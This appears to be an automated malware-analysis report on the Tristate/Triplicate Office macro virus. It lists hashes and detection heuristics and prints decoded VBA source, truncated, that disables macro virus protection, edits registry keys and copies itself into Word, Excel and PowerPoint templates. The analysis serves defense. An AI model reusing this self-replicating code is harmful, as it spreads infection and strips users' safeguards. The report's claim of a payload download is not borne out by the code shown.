Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 fcd8b4cc29713132…

MALICIOUS

Office (OLE)

37.5 KB Created: 2003-08-01 07:45:55 First seen: 2020-08-25
MD5: 931b2783396eb0bf8e58a86185650c4d SHA-1: 86cf03a6337110b7dfdfbc2f8f8571ae9ff9d783 SHA-256: fcd8b4cc29713132e71acf08d8bb1a68279fc71bf11d21675e94b61252d58dc9
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize CreateObject and GetObject calls, indicative of malicious intent. The macros attempt to modify registry keys related to Excel startup behavior and potentially download and execute a second-stage payload. ClamAV detections for Win.Trojan.Tristate-2 and Doc.Trojan.Tristate-1 further confirm its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9805 bytes
SHA-256: 999e38a6a805a3b964a70a1bae1b0f82a0497e0eb3f988e753c10eefc73ac90a
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Th
... (truncated)

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